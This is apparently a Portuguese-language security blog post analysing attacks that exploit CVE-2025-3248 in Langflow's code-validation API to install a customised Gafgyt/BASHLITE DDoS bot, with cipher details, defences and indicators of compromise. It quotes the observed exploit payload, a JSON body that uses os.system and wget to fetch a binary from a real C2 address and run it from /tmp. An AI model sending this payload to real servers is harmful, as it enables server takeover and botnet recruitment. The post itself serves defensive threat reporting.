Principais conclusões
Os invasores estão explorando ativamente uma vulnerabilidade de RCE (execução remota de código) no endpoint da API de validação de código do Langflow, um framework visual popular para prototipagem de aplicações de IA e LLM (grandes modelos de linguagem).
Assim que a estrutura é comprometida, a exploração instala uma versão altamente personalizada do conhecido bot Gatgyt de DDoS (negação de serviço distribuída). Esse payload específico não tem funcionalidades secundárias, como mineradores de criptomoedas, para se concentrar exclusivamente em ataques de inundação de rede. Além disso, ele oculta suas comunicações de comando e controle (C2) utilizando um cifrador de fluxo RC4 modificado e complexo, projetado para contornar ferramentas automatizadas de decodificação padrão.
Como o desenvolvimento de IA empresarial avança rapidamente, as equipes frequentemente implementam ferramentas experimentais, como o Langflow, em ambientes de produção ou de teste sem a devida segmentação de rede, proteção de firewall ou filtragem rigorosa de saída. Isso cria um ambiente altamente confiável que permite que tráfego malicioso de comando e controle (C2) burle facilmente os filtros corporativos.
Proteger a infraestrutura de IA exige um retorno aos protocolos de segurança básicos: corrigir falhas de execução de código arbitrário em orquestradores de IA, implementar filtros rigorosos de saída (como bloquear tráfego não autorizado na porta 1337), isolar ambientes de desenvolvimento com WAFs (firewalls de aplicações web) e implantar assinaturas YARA específicas.
O mundo da cibersegurança passou os últimos anos se preocupando com ameaças avançadas de IA, como phishing automatizado, deepfakes e malwares autônomos. No entanto, os criminosos estão demonstrando que seus objetivos imediatos são muito mais pragmáticos. Eles não querem apenas manipular a inteligência artificial; querem assumir o controle da infraestrutura subjacente para alimentar o crime cibernético tradicional em larga escala.
Informações recentes sobre inteligência contra ciberameaças revelam uma intersecção fascinante entre a implantação moderna de IA e a arquitetura clássica de botnets: os invasores estão explorando ativamente a vulnerabilidade CVE-2025-3248 (uma vulnerabilidade de RCE no Langflow) para instalar uma variante altamente personalizada do antigo bot Gafgyt/BASHLITE de DDoS.
Nesta publicação do blog, explicarei como os invasores estão ativamente explorando a CVE-2025-3248 para transformar estruturas de IA de ponta em armas de ataque a redes.
A posição inicial: CVE-2025-3248
O Langflow é uma estrutura visual popular entre desenvolvedores, usada para criar protótipos e desenvolver aplicações de IA e LLM (grandes modelos de linguagem). Como essas aplicações exigem, por natureza, uma forma de testar e executar lógica personalizada, alguns endpoints são responsáveis por executar código.
Os invasores usaram essa funcionalidade contra a plataforma. No mundo real, notamos o seguinte código malicioso que visa a API de validação de código:
{
"code": "import os; os.system(\"wget -q -O /tmp/bot_x86_64 http://184.174.96.191:8088/bot.x86_64 && chmod +x /tmp/bot_x86_64 && /tmp/bot_x86_64\")"
}Anatomia da exploração
A vulnerabilidade: o endpoint /api/v1/validate/code aceita scripts Python não confiáveis e os executa no sistema host sem uma proteção adequada contra execução não autorizada.
A entrega: o código injetado utiliza funções da biblioteca padrão do Python (os.system) para invocar wget.
A recuperação: ele baixa silenciosamente um executável Linux x86_64 de um servidor remoto (184.174.96.191:8088), marca-o como executável (usando o comando chmod +x) e o executa diretamente pelo diretório volátil /tmp.
Análise: a variante Gafgyt/BASHLITE
Comportamento de execução e evasão
Ao ser iniciado, o binário executa uma sequência de ações projetadas para ocultar sua presença e preparar seus mecanismos internos:
A pista: ele exibe um banner em ASCII provocativo no stdout: come at me krebs rimasuta go BRRT (fazendo referência ao renomado jornalista de segurança Brian Krebs e ao nome de usuário de um ator, rimasuta).
Daemonização: ele chama imediatamente a função clone() para criar um processo filho, enquanto o processo pai é encerrado. Em seguida, ele fecha os descritores padrão de entrada, saída e erro (stdio), desassociando-se completamente do terminal para executar em segundo plano de forma silenciosa.
Agressão pura: O binário não contém mineradores de criptomoedas, nem mecanismos de persistência ou sequer ferramentas de varredura de movimento lateral. Todo o seu processo de execução é otimizado para uma única tarefa: inundar a rede.
O protocolo de cifra personalizado e o C2
Esta variante implementa uma cifra de fluxo RC4 modificada, sofisticada e multifásica, para proteger suas comunicações de C2. O esquema de criptografia difere do RC4 padrão em três aspectos distintos, com o objetivo de impedir o uso de ferramentas automatizadas de decodificação convencionais:
Semente não padrão da S-box: em vez de inicializar a S-box de forma linear, o esquema de criptografia a preenche utilizando uma sequência aritmética personalizada: $S[i] = (0x0D + i \times 0xA7) \pmod{256}$.
KSA (algoritmo de agendamento de chaves) bifásico: ele utiliza chaves fixas de 32 bits (como 0xDEADBEEF, 0xCAFEBABE, etc.) para modificar a S-box, seguido por cinco etapas intensas de reorganização realizadas por um LCG (gerador linear congruencial) clássico da Borland.
PRGA (algoritmo de geração pseudoaleatória) modificado: os bytes do fluxo de chaves são embaralhados ainda mais por meio de um contador rotativo com deslocamento e operações bitwise (ROL e SHR).
Capacidades de ataque
O bot possui quatro caminhos de execução distintos mapeados diretamente para chamadas do sistema sendto, que correspondem a quatro vetores clássicos de ataques de negação de serviço:
Status | Vetor do ataque | Mecanismo técnico |
|---|---|---|
0x01 | Inundações de UDP | Loops de envio de dados brutos que emitem grandes volumes de datagramas UDP |
0x02 | Inundações de TCP | Envio excessivo de pacotes de conexão e SYN/ACK |
0x03 | Inundações de HOLD | Esgotamento de conexões keep-alive direcionadas a servidores web |
0x04 | Inundações de STD/Junk | Inundações de UDP com carga aleatória para esgotar as tabelas de estado do alvo |
Riscos estratégicos à infraestrutura de IA
É tentador pensar que as aplicações de IA são ambientes especializados e isolados do restante da infraestrutura de TI de uma empresa, mas os cibercriminosos as veem como um alvo valioso. Sequestrar um servidor de IA para criar uma botnet oferece várias vantagens distintas:
Grande capacidade de processamento e largura de banda: as workloads de IA são quase sempre executadas em instâncias de nuvem de alto desempenho ou em servidores corporativos robustos. Essas máquinas possuem a enorme largura de banda de rede necessária para realizar ataques de DDoS devastadores.
A vulnerabilidade da “TI sombra”: como o desenvolvimento da IA avança a uma velocidade impressionante, as equipes frequentemente implementam plataformas experimentais, como o Langflow, em ambientes de produção ou de teste sem a devida segmentação de rede, o gerenciamento de vulnerabilidades ou a proteção de firewall.
Ambientes confiáveis: a infraestrutura de nuvem corporativa geralmente possui permissões de rede externas mais amplas, o que permite que o tráfego de saída C2 burle os filtros de saída padrão da empresa.
Defesa e mitigação
Se a sua equipe utiliza o Langflow ou ferramentas visuais semelhantes para orquestração de IA, é altamente recomendável realizar ajustes imediatos na postura de defesa.
Atualização e correção: certifique-se de que suas implantações do Langflow estejam atualizadas para versões que corrijam as vulnerabilidades de execução de código arbitrário nas APIs de validação de código.
Implementação de um filtro de saída rigoroso: ambientes de treinamento e prototipagem de IA raramente exigem acesso irrestrito a endereços IP públicos aleatórios através de conexões TCP de saída. Bloqueie as conexões de saída em portas não convencionais, como a 1337.
Isolamento de rede: trate os ambientes de desenvolvimento de IA como redes não confiáveis. Separe-os rigorosamente dos ambientes corporativos primários e restrinja o acesso à internet pública com WAFs (firewalls de aplicação web).
Implantação de assinaturas YARA: monitore os binários do sistema e os diretórios voláteis em busca dos bytes específicos da semente da S-box criptográfica, que são exclusivos deste agente: 0d b4 5b 02 a9 50 f7 9e.
Conclusão
A exploração da vulnerabilidade CVE-2025-3248 serve como um alerta claro de que o cenário de segurança está mudando, não apenas evoluindo. Conforme integramos rapidamente estruturas de IA poderosas, como o Langflow, em nossas estruturas corporativas, devemos evitar a tentação de enxergar essas plataformas como ambientes isolados ou especializados. Os criminosos estão bem cientes do potencial de processamento e largura de banda presentes nesses ambientes e estão os utilizando como armas, empregando os mesmos métodos comprovados que alimentam botnets há décadas.
Proteger a infraestrutura de IA exige um retorno às práticas básicas de segurança: segmentação de rede robusta, filtragem rigorosa de tráfego de saída e uma gestão cuidadosa de atualizações. Na corrida para desenvolver a próxima geração de aplicações de IA, não podemos permitir que os fantasmas dos crimes cibernéticos do passado continuem nos assombrando.
Apêndice técnico: IOCs e defesa
Hashes de arquivos e do sistema
SHA256: e00d92ca28a2cfd75e96f71fc0408747f04942657fcab0f2a25ce79bc3ad23a8
ID de compilação do ELF (SHA1): 523ae28b0833f9a68f4264d16c803ca5fdc771b9
Indicadores de rede
IP do servidor C2: 184.174.96.191
Porta de preparação de malware: 8088/TCP (download via HTTP)
Porta de comando C2: 1337/TCP (tráfego criptografado)
Assinaturas do host
Conexões de saída a IPs externos na porta 1337
Processos não reconhecidos em execução fora do diretório /tmp que fecham imediatamente os descritores de arquivos padrão
A string come at me krebs rimasuta go BRRT nos logs de saída padrão ou em strings de memória
Tags
